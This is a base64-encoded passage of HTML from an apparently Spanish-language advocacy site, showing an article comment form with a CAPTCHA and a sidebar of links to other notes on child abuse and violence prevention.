AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc3Bhbj48L3N0cm9uZz48L3RkPgoJCQkJCSAgPHRkPiZuYnNwOzwvdGQ+CgkJCQkgICAgPC90cj4KCQkJCQk8dHI+CgkJCQkJICA8dGQ+Jm5ic3A7PC90ZD4KCQkJCQkgIDx0ZCBoZWlnaHQ9IjMwIiA+CgkJCQkJICAgIDxpbnB1dCBuYW1lPSJub21icmUiIHR5cGU9InRleHQiIGNsYXNzPSJjZWxkYWZvcm0iIGlkPSJub21icmUiIHNpemU9IjQwIiB2YWx1ZT0iIiAvPgoJCQkJCSAgICA8aW5wdXQgbmFtZT0iYXBlbGxpZG8iIHR5cGU9InRleHQiIGNsYXNzPSJjZWxkYWZvcm0iIGlkPSJhcGVsbGlkbyIgc2l6ZT0iNDAiIHZhbHVlPSIiIC8+CgkJCQkgICAgICA8c3BhbiBjbGFzcz0iY29udGVuaWRvaG9tZSI+Tm9tYnJlPC9zcGFuPgkJCQkJICA8L3RkPgoJCQkJCSAgPHRkPiZuYnNwOzwvdGQ+CgkJCQkgICAgPC90cj4KCQkJCQk8dHI+CgkJCQkJICA8dGQ+Jm5ic3A7PC90ZD4KCQkJCQkgIDx0ZCBoZWlnaHQ9IjMwIiA+PGlucHV0IG5hbWU9ImVtYWlsIiB0eXBlPSJ0ZXh0IiBjbGFzcz0iY2VsZGFmb3JtIiBpZD0iZW1haWwiIHNpemU9IjQwIiB2YWx1ZT0iIiAvPgoJCQkJCSAgICA8aW5wdXQgbmFtZT0iYWRkcmVzcyIgdHlwZT0idGV4dCIgY2xhc3M9ImNlbGRhZm9ybSIgaWQ9ImFkZHJlc3MiIHNpemU9IjQwIiB2YWx1ZT0iIiAvPgogICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iY29udGVuaWRvaG9tZSI+RW1haWw8L3NwYW4+PC90ZD4KCQkJCQkgIDx0ZD4mbmJzcDs8L3RkPgoJCQkJICAgIDwvdHI+CgkJCQkJPHRyPgoJCQkJCSAgPHRkIGhlaWdodD0iMzAiPjxzcGFuIGNsYXNzPSJjb250ZW5pZG9ob21lIj48L3NwYW4+PC90ZD4KCQkJCQkgIDx0ZCBoZWlnaHQ9IjMwIj48c3BhbiBjbGFzcz0iY29udGVuaWRvaG9tZSI+PHN0cm9uZz4mYnVsbDtEZWplIHN1IGNvbWVudGFyaW8KCQkJICAgICAgICBzb2JyZSBsYSBub3RhICht4XhpbW8gMjAwIGNhcmFjdGVyZXMpCgkJCQkJICA8dGQ+Jm5ic3A7PC90ZD4KCQkJCSAgICA8L3RyPgoJCQkJCTx0cj4KCQkJCQkgIDx0ZD4mbmJzcDs8L3RkPgoJCQkJCSAgPHRkIGhlaWdodD0iMzAiPgoJCQkJCSAgICA8c2NyaXB0PgoJCQkJCSAgICBmdW5jdGlvbiBtYXhpbW9zQ2FyYWN0ZXJlcyhteWZpZWxkLGUsbWF4aW1vKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIAl2YXIga2V5Y29kZTsKICAgICAgICAgICAgICAgICAgICAgICAgCWlmICh3aW5kb3cuZXZlbnQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgCSAgICBrZXljb2RlID0gd2luZG93LmV2ZW50LmtleUNvZGU7CiAgICAgICAgICAgICAgICAgICAgICAgIAl9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAJICAgIGlmIChlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIAkgICAgICAgIGtleWNvZGUgPSBlLndoaWNoOwogICAgICAgICAgICAgICAgICAgICAgICAJICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIAkgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICAJICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgCX0KICAgICAgICAgICAgICAgICAgICAgICAgCWlmIChteWZpZWxkLnZhbHVlLmxlbmd0aCA8IG1heGltbyB8fCAoa2V5Y29kZT09MCkgfHwgKGtleWNvZGU9PTgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIAkgICAgcmV0dXJuIHRydWU7IAogICAgICAgICAgICAgICAgICAgICAgICAJfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgCSAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgIAl9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgPC9zY3JpcHQ+CgkJCQkJICAgIDx0ZXh0YXJlYSBuYW1lPSJjb21lbnRhcmlvIiBjb2xzPSI0NSIgcm93cz0iNSIgY2xhc3M9InNjcm9sbDEiIGlkPSJjb21lbnRhcmlvIiBvbktleVByZXNzPSJyZXR1cm4gbWF4aW1vc0NhcmFjdGVyZXModGhpcywgZXZlbnQsIDIwMCkiPjwvdGV4dGFyZWE+PC90ZD4KCQkJCQkgIDx0ZD4mbmJzcDs8L3RkPgoJCQkJICAgIDwvdHI+CgkJCQkgICAgPHRyPgoJCQkJCSAgPHRkIGhlaWdodD0iMzAiPjxzcGFuIGNsYXNzPSJjb250ZW5pZG9ob21lIj48L3NwYW4+PC90ZD4KCQkJCQkgIDx0ZCBoZWlnaHQ9IjMwIj48c3BhbiBjbGFzcz0iY29udGVuaWRvaG9tZSI+PHN0cm9uZz4mYnVsbDtFc2NyaWJhIGVsIEPzZGlnbyBkZSBTZWd1cmlkYWQgcXVlIGFwYXJlY2UgYSBjb250aW51YWNp8248L3N0cm9uZz48L3NwYW4+PC90ZD4KCQkJCQkgIDx0ZD4mbmJzcDs8L3RkPgoJCQkJICAgIDwvdHI+CgkJCQkgICAgPHRyPgoJCQkJCSAgPHRkPiZuYnNwOzwvdGQ+CgkJCQkJICA8dGQgaGVpZ2h0PSIzMCI+CgkJCQkJICAgIDxhIG5hbWU9ImNvZGlnb19zZWd1cmlkYWQiPjwvYT4KCQkJCQkgICAgPGltZyBzcmM9InNlY3VyaW1hZ2Vfc2hvdy5waHA/c2lkPTM5OGI2NTBmODdhY2Y1NTQ2NjE2YzllYmQ4YjUyMjc0Ij48YnIgLz4KCQkJCQkgICAgPGlucHV0IG5hbWU9ImNvZGUiIHR5cGU9ImNvZGUiIGNsYXNzPSJjZWxkYWZvcm0iIGlkPSJjb2RlIiBzaXplPSI0MCIgLz4KCQkJCQkgIDwvdGQ+CgkJCQkJICA8dGQ+Jm5ic3A7PC90ZD4KCQkJCSAgICA8L3RyPgoJCQkJICAgIDwhLS0KCQkJCSAgICA8dHI+CgkJCQkgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgoJCQkJICAgICAgICA8dGQ+CgkJCQkgICAgICAgICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwOi8vd3d3Lmdvb2dsZS5jb20vcmVjYXB0Y2hhL2FwaS9jaGFsbGVuZ2U/az02TGRYTDhvU0FBQUFBT3VtZnN3YmI5TTdMSEVHVHhjbjBjUkN2V3ZiIj48L3NjcmlwdD4KCgk8bm9zY3JpcHQ+CiAgCQk8aWZyYW1lIHNyYz0iaHR0cDovL3d3dy5nb29nbGUuY29tL3JlY2FwdGNoYS9hcGkvbm9zY3JpcHQ/az02TGRYTDhvU0FBQUFBT3VtZnN3YmI5TTdMSEVHVHhjbjBjUkN2V3ZiIiBoZWlnaHQ9IjMwMCIgd2lkdGg9IjUwMCIgZnJhbWVib3JkZXI9IjAiPjwvaWZyYW1lPjxici8+CiAgCQk8dGV4dGFyZWEgbmFtZT0icmVjYXB0Y2hhX2NoYWxsZW5nZV9maWVsZCIgcm93cz0iMyIgY29scz0iNDAiPjwvdGV4dGFyZWE+CiAgCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJyZWNhcHRjaGFfcmVzcG9uc2VfZmllbGQiIHZhbHVlPSJtYW51YWxfY2hhbGxlbmdlIi8+Cgk8L25vc2NyaXB0PgkJCQkgICAgICAgIDwvdGQ+CgkJCQkgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgoJCQkJICAgIDwvdHI+CgkJCQkgICAgLS0+CgkJCQkJPHRyPgoJCQkJCSAgPHRkPiZuYnNwOzwvdGQ+CgkJCQkJICA8dGQgaGVpZ2h0PSIzMCIgPjxpbnB1dCBuYW1lPSJidXR0b24iIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImNlbGRhZm9ybSIgaWQ9ImJ1dHRvbjIiIHZhbHVlPSJFbnZpYXIiIC8+PC90ZD4KCQkJCQkgIDx0ZD4mbmJzcDs8L3RkPgoJCQkJICAgIDwvdHI+CgkJCQkJCiAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgIDwvdHI+CgkJCQkKCQkJCTwvZm9ybT4KCQkJCQogICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgPHRkIHJvd3NwYW49IjIiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE3MCIgcm93c3Bhbj0iMiIgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFRkVGRUYiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICA8dGQgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzA3LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wOS5qcGciIHdpZHRoPSI0NSIgaGVpZ2h0PSIxNyIgLz48L3RkPgogICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iNjkiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0ibWlkZGxlIiBiZ2NvbG9yPSIjRkZGRkZGIj48c3Ryb25nIGNsYXNzPSJ0aXR1bG9ob21lMiI+PGZvbnQgc2l6ZT0iMSIgZmFjZT0iR2VvcmdpYSwgVGltZXMgTmV3IFJvbWFuLCBUaW1lcywgc2VyaWYiPkNhbnRpZGFkIGRlIGxlY3R1cmFzOiA8Zm9udCBjb2xvcj0iI0ZGOTI0MSIgc2l6ZT0iMiI+MjI5PC9mb250PjwvZm9udD48L3N0cm9uZz48L3RkPgogICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNzAiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjE1MCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjMiIGNsYXNzPSJib3JkZSI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBiZ2NvbG9yPSIjRkZGRkZGIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYWxpZ249ImxlZnQiIHZhbGlnbj0iYm90dG9tIiBjbGFzcz0idGl0dWxvaG9tZTIiPk90cmFzIG5vdGFzPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBhbGlnbj0ibGVmdCIgdmFsaWduPSJib3R0b20iIGNsYXNzPSJ0aXR1bG9ob21lMiI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iIiBoZWlnaHQ9IjM1IiBhbGlnbj0ibGVmdCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIGNsYXNzPSJjb250ZW5pZG9ob21lIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIGNvbHNwYW49IjMiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPjxhIGhyZWY9ImphdmFzY3JpcHQ6OyIgY2xhc3M9ImRlc3RhY2Fkb3MiPklWIENvbmdyZXNvIEludGVybmFjaW9uYWwgdmlvbGVuY2lhLCBtYWx0cmF0byB5IGFidXNvPC9hPjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQlIiBjb2xzcGFuPSIzIiByb3dzcGFuPSI0IiBjbGFzcz0iY29udGVuaWRvaG9tZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkJCQkJCQkJCSAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI0JSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJtaWRkbGUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzJSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNFRkVGRUYiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIzMCIgY29sc3Bhbj0iMiIgYWxpZ249ImxlZnQiIHZhbGlnbj0ibWlkZGxlIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iY29udGVuaWRvaG9tZSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMxMCIgY2xhc3M9ImJvdG9uIj48c3Ryb25nPkVsIGNvbGVnaW8gZGUgUHNpY/Nsb2dvcyBkZSBD83Jkb2JhIHNlIHByb251bmNpYSBlbiByZWxhY2nzbiBhbCBTQVAgeSBlbiBjb25jb3JkYW5jaWEgY29uIGxvIGV4cHJlc2FkbyBwb3IgZWwgQ29sZWdpbyBkZSBQc2lj82xvZ29zIGRlIE1hciBkZWwgUGxhdGEgeSBlbCBDb2xlZ2lvIGRlIFBzaWPzbG9nb3MgZGUgbGEgIFByb3ZpbmNpYSBkZSBCdWVub3MgQWlyZXM8L3N0cm9uZz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgoJCQkJCQkJCQkgIAkJCQkJCQkJCSAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI0JSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJtaWRkbGUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzJSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNGRkZGRkYiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIzMCIgY29sc3Bhbj0iMiIgYWxpZ249ImxlZnQiIHZhbGlnbj0ibWlkZGxlIiBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0iY29udGVuaWRvaG9tZSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwOSIgY2xhc3M9ImJvdG9uIj48c3Ryb25nPlNhbHVkIEFjdGl2YSBvdG9yZ2EgbWVkaWFzIGJlY2FzIHBhcmEgZWwgSVYgQ29uZ3Jlc28gSW50ZXJuYWNpb25hbCwgViBOYWNpb25hbCwgVkkgUmVnaW9uYWwgVmlvbGVuY2lhLCBNYWx0cmF0byB5IEFidXNvLjwvc3Ryb25nPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CgkJCQkJCQkJCSAgCQkJCQkJCQkJICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQlIiBoZWlnaHQ9IjMwIiB2YWxpZ249Im1pZGRsZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMlIiBoZWlnaHQ9IjMwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjMwIiBjb2xzcGFuPSIyIiBhbGlnbj0ibGVmdCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA4IiBjbGFzcz0iYm90b24iPjxzdHJvbmc+TkVDRVNJVEFNT1MgREUgU1UgU09MSURBUklEQUQgSEFDSUEgTE9TIE5J0U9TIFkgTknRQVMhISE8L3N0cm9uZz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgoJCQkJCQkJCQkgIAkJCQkJCQkJCSAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI0JSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJtaWRkbGUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzJSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNGRkZGRkYiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIzMCIgY29sc3Bhbj0iMiIgYWxpZ249ImxlZnQiIHZhbGlnbj0ibWlkZGxlIiBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0iY29udGVuaWRvaG9tZSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNyIgY2xhc3M9ImJvdG9uIj48c3Ryb25nPlNBTFVEIEFDVElWQSBoYSBzaWRvIGVsZWdpZGEgcG9yIHNlZ3VuZGEgdmV6IGNvbnNlY3V0aXZhIGNvbW8gdW5vIGRlIGxvcyBnYW5hZG9yZXMgZGVsIEN1YXJ0byBDb25jdXJzbyBkZSBQcm95ZWN0b3MgU29jaWFsZXMgZGUgUGV0cm9icmFzPC9zdHJvbmc+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KCQkJCQkJCQkJICAJCQkJCQkJCQkgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNCUiIGhlaWdodD0iMzAiIHZhbGlnbj0ibWlkZGxlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyUiIGhlaWdodD0iMzAiIHZhbGlnbj0ibWlkZGxlIiBiZ2NvbG9yPSIjRUZFRkVGIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMzAiIGNvbHNwYW49IjIiIGFsaWduPSJsZWZ0IiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDYiIGNsYXNzPSJib3RvbiI+PHN0cm9uZz5P7XIgbyBlc2N1Y2hhcjwvc3Ryb25nPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CgkJCQkJCQkJCSAgCQkJCQkJCQkJICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQlIiBoZWlnaHQ9IjMwIiB2YWxpZ249Im1pZGRsZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMlIiBoZWlnaHQ9IjMwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0ZGRkZGRiI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjMwIiBjb2xzcGFuPSIyIiBhbGlnbj0ibGVmdCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNGRkZGRkYiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA1IiBjbGFzcz0iYm90b24iPjxzdHJvbmc+RWwgZGVyZWNobyBkZSBsb3Mgbmnxb3MgYSBzZXIgZXNjdWNoYWRvczwvc3Ryb25nPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CgkJCQkJCQkJCSAgCQkJCQkJCQkJICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQlIiBoZWlnaHQ9IjMwIiB2YWxpZ249Im1pZGRsZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMlIiBoZWlnaHQ9IjMwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjMwIiBjb2xzcGFuPSIyIiBhbGlnbj0ibGVmdCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA0IiBjbGFzcz0iYm90b24iPjxzdHJvbmc+QWJ1c28gc2V4dWFsIGluZmFudGlsLiBEZXNhZmlvcyBkZSBsYSBjbGluaWNhIGFjdHVhbDwvc3Ryb25nPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CgkJCQkJCQkJCSAgCQkJCQkJCQkJICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQlIiBoZWlnaHQ9IjMwIiB2YWxpZ249Im1pZGRsZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMlIiBoZWlnaHQ9IjMwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0ZGRkZGRiI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjMwIiBjb2xzcGFuPSIyIiBhbGlnbj0ibGVmdCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNGRkZGRkYiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAzIiBjbGFzcz0iYm90b24iPjxzdHJvbmc+U2FsdWQgQWN0aXZhIG5lY2VzaXRhIGRlIHR1IGF5dWRhITwvc3Ryb25nPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CgkJCQkJCQkJCSAgCQkJCQkJCQkJICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQlIiBoZWlnaHQ9IjMwIiB2YWxpZ249Im1pZGRsZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMlIiBoZWlnaHQ9IjMwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjMwIiBjb2xzcGFuPSIyIiBhbGlnbj0ibGVmdCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAyIiBjbGFzcz0iYm90b24iPjxzdHJvbmc+UkVQVURJTyBBIExBIFBSRVNFTkNJQSBFTiBMQSBGRVJJQSBERUwgTElCUk8gREUgVU4gRVggSlVFWiBBQ1VTQURPIERFIEFCVVNPIFNFWFVBTDwvc3Ryb25nPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CgkJCQkJCQkJCSAgCQkJCQkJCQkJICA8dHI+CiAgICAgICAgICAgI